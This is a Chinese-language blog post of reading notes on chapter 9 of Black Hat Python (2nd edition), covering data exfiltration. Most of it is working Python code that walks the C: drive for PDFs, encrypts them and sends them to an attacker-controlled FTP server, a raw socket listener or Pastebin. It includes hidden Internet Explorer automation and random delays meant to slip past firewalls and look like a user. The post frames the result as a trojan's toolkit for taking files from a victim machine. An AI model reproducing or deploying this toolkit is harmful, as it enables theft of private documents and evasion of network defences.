黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第九章 过滤数据(2)通过文件传输 & web服务过滤数据

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第九章 过滤数据(2)通过文件传输 & web服务过滤数据



通过文件传输过滤信息

transmit_exfil.py脚本

创建并打开一个新的脚本文件transmit_exfil.py,我们将会通过文件传输发送加密信息:

import ftplib
import os
import socket
import win32file

def plain_ftp(docpath, server='192.168.65.141'):
    ftp = ftplib.FTP(server)
    ftp.login('anonymous', 'anon@example.com')
    ftp.cwd('/pub/')
    ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, 'rb'), 1024)
    ftp.quit()

我们导入ftplib,用于构建独立于平台的函数,以及win32file,用于特定于Windows的函数。
我们设置了Kali作为攻击者机器,并启用FTP服务以并接受匿名文件上传。在plain_ftp函数中,我们传入要传输的文件的路径(docpath)和ftp服务器(Kali机器)的IP地址。
使用Python下的ftplib模块可以轻松创建到ftp服务器的连接、登录并导航到目标目录,最后将文件写入目标目录。

特定于windows的transmit函数

要创建特定于Windows的版本,请编写transmit函数,该函数获取要传输的文件的路径(document_path):

def transmit(document_path):
    client = socket.socket()
    client.connect((SERVER, 10000))
    with open(document_path, 'rb') as f:
        win32file.TransmitFile(client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b'', b'')

正如我们在第2章中所做的那样,我们使用我们选择的端口为攻击者机器上的侦听器打开一个套接字;这里,我们使用端口10000。然后我们使用win32file.TransmitFile函数用于传输文件。
Mian模块通过将文件(在本例中为mysecrets.txt)传输到侦听机器来提供一个简单的测试:

if __name__ == "__main__":
transmit('./mysecrets.txt')

一旦我们收到加密文件,我们就可以从该文件中读取内容并进行解密。

小试牛刀

搭建ftp服务

首先在另一台机器上搭建一个简单的ftp服务,用于测试,我这里用的是linux mint,依次执行如下的命令(这里感谢牛人如云的CSDN,我参照博客https://blog.csdn.net/qq_25715863/article/details/120111638一次性完成)。

$ sudo apt-get install vsftpd
$ sudo vi /etc/vsftpd.conf

在打开的配置文件中配置相关的信息。

# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone?  vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
#listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=NO
#
# Uncomment this to allow local users to log in.
local_enable=YES
local_root=<your ftp root dir>
allow_writeable_chroot=YES
#
# Uncomment this to enable any form of FTP write command.
write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
anon_upload_enable=NO
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in  your  local  time  zone.  The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
chown_uploads=YES
chown_username=billson
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories.  See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
chroot_local_user=YES

chroot_list_enable=NO
# (default follows)
chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty.  Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO

#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
utf8_filesystem=YES

然后在/etc下创建(新安装的一般没有)vsftpd.chroot_list文件,并将用于测试的FTP用户名放进去,如果多个用户名,每行一个,保存退出,然后启动一下服务,并检查状态。

$ service vsftpd start
$ service vsftpd status

在这里插入图片描述

执行测试

现在另一台机器(kali)上手动试一下,成功了,如下图。
在这里插入图片描述
为了展示运行效果,我们在代码中添加一行(ftp.set_debuglevel(2)),用于设置FTP运行的debug leve,先在linux(kali机器)运行一下。效果如下图。
在这里插入图片描述
然后到windows下运行一下,我在windows下运行的时候一直报如下的错误,没有解决掉,如下图,后面有空的时候再回来看看。

在这里插入图片描述

附上源代码

附上整个代码。

import ftplib
from http import client
import os
import socket
#  Comment the following line when running in linux
# import win32file

SERVER = '<your ftp server adderss>'
DOC_PATH = './mysecrets.txt'

def plain_ftp(docpath, server=SERVER):
    ftp = ftplib.FTP(server)
    ftp.set_debuglevel(2)
    ftp.login('<your username>', '<your passwd> ')
    ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, 'rb'), 1024)
    ftp.quit()

def transmit(document_path):
    client = socket.socket()
    client.connect((SERVER, 10000))
    with open(document_path, 'rb') as f:
        win32file.TransmitFile(client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b'', b'')

if __name__ == "__main__":
    #  Comment the following line when running in linux
    # transmit('./mysecrets.txt')
    #  Comment the following line when running in windows
    plain_ftp('./mysecrets.txt', server=SERVER)

通过wen服务过滤数据

构建paste_exfil.py脚本

接下来,我们将构建一个新脚本paste_exfil.py,通过向web服务器发送加密信息,将我们的加密文档发布到https://pastebin.com/.这将使我们能够在不需要任何其他人解密的情况下,将文档完全丢弃并检索。通过使用像Pastebin这样的知名网站,我们还应该能够绕过防火墙或代理可能拥有的任何黑名单,否则可能会阻止我们将文档发送到我们控制的IP地址或web服务器。让我们先在脚本中加入一些支持函数。创建并打开paste_exfil.py脚本,并输入以下代码:

from win32com import client

import os
import random
import requests
import time

username = '<your username>'
password = '<your passwd>'
api_dev_key = '<your key>'

我们导入需要的模块来处理与平台无关的函数,我们将使用win32com的client类来处理特定于Windows的函数。我们将向https://pastebin.com服务器鉴权并上传加密的字符串。为了能够进行身份验证,我们定义用户名和密码以及api_dev_key。

plain_paste函数

现在我们已经定义了导入和设置,现在我们编写独立于平台的函数plain_paste:

def plain_paste(title, contents):
    login_url = 'https://pastebin.com/api/api_login.php'
    login_data = {
        'api_dev_key': api_dev_key,
        'api_user_name': username,
        'api_user_password': password
    }
    r = requests.post(login_url, data=login_data)
    api_user_key = r.text

    paste_url = 'https://pastebin.com/api/api_post.php'
    paste_data = {
        'api_paste_name': title,
        'api_paste_code': contents.decode(),
        'api_dev_key': api_dev_key,
        'api_user_key': api_user_key,
        'api_option': 'paste',
        'api_paste_private': 0,
    }
    r = requests.post(paste_url, data=paste_data)
    print(r.status_code)
    print(r.text)

与前面的电子邮件函数一样,plain_paste函数接收文件名作为标题和加密内容作为参数。我们需要发出两个请求才能在自己的用户名下创建paste。首先,向登录API发布一个post请求,指定我们的用户名、API_dev_key和密码。该请求的响应是我们的api_user_key。这部分数据是我们在自己的用户名下创建粘贴所需的。第二个请求是post 接口,将paste的名称(文件名是我们的标题)和内容以及api_user_key和api_dev_key发送给它。执行完成后,我们应该能够登录到我们的https://pastebin.com帐户,并查看我们的加密内容,这样我们就可以从dashboard下载我们的paste。

使用windows下的IE

接下来,我们将编写使用Internet Explorer执行paste的Windows特定技术。为什么是Internet Explorer?尽管其他的浏览器,如Google Chrome、Microsoft Edge和Mozilla Firefox现在更受欢迎,但许多企业环境仍然使用Internet Explorer作为默认浏览器。当然,对于许多Windows版本,您不能从Windows系统中删除Internet Explorer,因此此技术几乎总是可以用于Windows特洛伊木马。
让我们看看如何利用Internet Explorer协助我们从目标网络中过滤信息。另一位加拿大安全研究员Karim Nathoo指出,Internet Explorer COM自动化具有使用Iexplore.exe进程从网络中过滤信息的巨大好处,该进程通常是可信的和白名单。让我们从编写几个支撑函数开始:

def wait_for_browser(browser):
    while browser.ReadyState != 4 and browser.ReadyState != 'complete':
        time.sleep(0.1)

def random_sleep():
    time.sleep(random.randint(5, 10))

其中的第一个函数wait_for_browser确保浏览器已经完成其事件,而第二个函数random_sleep则使浏览器以某种随机的方式运行,因此它看起来不像编程的行为。它会随机睡眠一段时间;这被设计为允许浏览器执行可能不向文档对象模型(DOM)注册事件的任务,以表示它们已完成。它还使浏览器看起来更像是人的操作。
现在我们有了这些支持函数,让我们添加逻辑来处理登录和Pastebin仪表板导航。不幸的是,在web上没有快速简便的方法来查找UI元素(作者只是花了30分钟使用Firefox及其开发工具来检查我们需要与之交互的每个HTML元素)。如果您希望使用不同的服务,那么您也必须确定所需的精确时间、DOM交互和HTML元素。幸运的是,Python使自动化工作变得非常简单。让我们添加更多代码:

def login(ie):
    full_doc = ie.Document.all
    for elem in full_doc:
        if elem.id == 'loginform-username':
            elem.setAttribute('value', username)
        elif elem.id == 'loginform-password':
            elem.setAttribute('value', password)
    
    random_sleep()
    if ie.Document.forms[0].id == 'w0':
        ie.document.forms[0].submit()
    wait_for_browser(ie)

登录函数首先检索DOM中的所有元素。它查找用户名和密码字段,并将其值设置为我们提供的凭据(不要忘记注册帐户)。执行此代码后,我们应该登录到Pastebin仪表板并准备粘贴一些信息。现在让我们添加该代码:

def submit(ie, title, contents):
    full_doc = ie.Document.all
    for elem in full_doc:
        if elem.id == 'postform-name':
            elem.setAttribute('value', title)
        elif elem.id == 'postform-text':
            elem.setAttribute('value', contents)
    if ie.Document.forms[0].id == 'w0':
        ie.document.forms[0].submit()
    random_sleep()
    wait_for_browser(ie)

此时,这些代码都不应该看起来很新鲜,我们只是在DOM中搜索,以找到博客文章的标题和正文。submit函数接收浏览器的实例,以及要发布的文件名和加密文件内容。
现在我们可以登录并发布到Pastebin,让我们为脚本做最后的润色:

def ie_paste(title, contents):
    ie = client.Dispatch('InternetExplorer.Application')
    ie.Visible = 1

    ie.Navigate('https://pastebin.com/login')
    wait_for_browser(ie)
    login(ie)

    ie.Navigate('https://pastebin.com/')
    wait_for_browser(ie)
    submit(ie, title, contents.decode())

    ie.Quit()

if __name__ == '__main__':
    ie_paste('title', 'contents')

ie_paste函数是我们要为每个要存储在Pastebin上的文档调用的函数。它首先创建Internet Explorer COM对象的新实例。最妙的是,您可以将流程设置为可见或不可见。对于调试,请将其设置为1,但对于最大程度的隐身,您肯定希望将其设置成0。例如,如果特洛伊木马检测到其他活动正在进行,这非常有用;在这种情况下,您可以开始过滤文档,这可能有助于进一步将您的活动与用户的活动融合在一起。在我们调用所有支持函数之后,我们只需终止InternetExplorer实例并返回。

小试牛刀

运行脚本的时候,我本地没报错,IE11被拉起,然后等待一段时间就退出了,主要原因可能是目前pastebin网站目前已经不支持IE了,需要对COM实例进行调整。
在这里插入图片描述
另外,再提供一个思路,使用Selenium的headless模式(跟上面代码中的ie.Visible相同的作用),直接操控页面也是可以实现上述功能的。更加发散一点,这种方式下,可以见检测主机上有什么样的浏览器,选择性调用对应浏览器的driver执行对应的工作。

将所有内容合到一起

最后,我们将我们的过滤方法与exfil.py主程序联系在一起。我们可以使用我们刚刚编写的任何方法调用它来过滤文件:

from cryptor import encrypt, decrypt
from email_exfil import outlook, plain_email
from filel_exfil import plain_ftp, transmit
from paste_exfil import ie_paste, plain_paste

import os

EXFIL = {
    'outlook': outlook,
    'plain_email': plain_email,
    'plain_ftp': plain_ftp,
    'transmit': transmit,
    'ie_paste': ie_paste,
    'plain_paste': plain_paste

首先,导入刚刚编写的模块和函数。然后,创建一个名为EXFIL的字典,其值对应于导入的函数,这会使调用不同的过滤功能变得非常容易。EXFIL字典的值是函数的名称,因为在Python中,函数是一级公民,可以用作参数。这种技术有时称为字典分派。它的工作方式与其他语言中的case语句非常相似。

查找要过滤的文档

现在,我们需要创建一个函数来查找要过滤的文档:

def find_docs(doc_type='.pdf'):
    for parent, _, filenames in os.walk('c:\\'):
        for filename in filenames:
            if filename.endswith(doc_type):
                document_path = os.path.join(parent, filename)
                yield document_path

find_docs生成器遍历整个文件系统,检查PDF文档。当它找到一个路径时,它返回完整路径并将执行返回给调用者。

创建exfiltrate函数

接下来,我们创建exfiltrate函数,用来来协调相关的过滤工作

def exfiltrate(document_path, method):
    if method in ['transmit', 'plain_ftp']:
        filename = f'c:\\windows\\temp\\{os.path.basename(document_path)}'
        with open(document_path, 'rb') as f0:
            contents = f0.read()
        with open(filename, 'wb') as f1:
            f1.write(encrypt(contents))
        
        EXFIL[method](filename)
        os.unlink(filename)
    else:
        with open(document_path, 'rb') as f:
            contents = f.read()
        title = os.path.basename(document_path)
        contents = encrypt(contents)
        EXFIL[method](title, contents)

我们向exfiltrate函数传递文档的路径和我们想要使用的过滤方法。当过滤方法涉及文件传输(transmit或plain_ftp)时,我们需要提供一个实际文件,而不是一个编码字符串。在这种情况下,我们从文件源读取文件,加密内容,并将新文件写入临时目录。我们调用EXFIL字典来分派相应的过滤方法,传入新的加密文档路径来过滤文件,然后从临时目录中删除文件。
对于其他方法,我们不需要编写新的模块文件;相反,我们只需要读取要过滤的文件,加密其内容,并调用EXFIL字典以发送或粘贴加密信息即可。
在main函数中,我们遍历所有找到的文档。作为测试,我们通过plain_paste方法过滤它们,尽管我们可以选择我们定义的六个方法中的任何一个:

if __name__ == '__main__':
    for fpath in find_docs():
        exfiltrate(fpath, 'plain_paste')

小试牛刀

这段代码有很多可变化的部分,但是这个工具很容易使用。只需运行我们的exfil.py脚本,并等待它指示它已通过电子邮件、FTP或Pastebin成功地过滤了文件即可。
如果在运行paste_ex文件时我们在ie_paste函数中设置了Internet Explorer可见。我们应该能够观察到整个过程。完成后之后,我们应该能够在Pastebin页面看到相关的内容。
完美!我们的exfil.py脚本提取了一个名为topo_post.PDF的PDF文档,加密了内容,并将内容上传到pastebin.com。我们可以通过从paste现在并将其提供给解密函数来成功解密文件:

from cryptor import decrypt
with open('topo_post_pdf.txt', 'rb') as f:
    contents = f.read()
    f.close()
with open('newtopo.pdf', 'wb') as f:
    f.write(decrypt(contents))
    f.close()

这段代码将打开下载的paste文件,解密内容,并将解密的内容写入新文件。然后,我们可以使用PDF阅读器打开新文件,以查看包含来自受害者机器的原始文件。
现在,我们的工具箱中有几个用于过滤的工具。选择哪一个取决于受害者网络的性质以及该网络上使用的安全级别。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值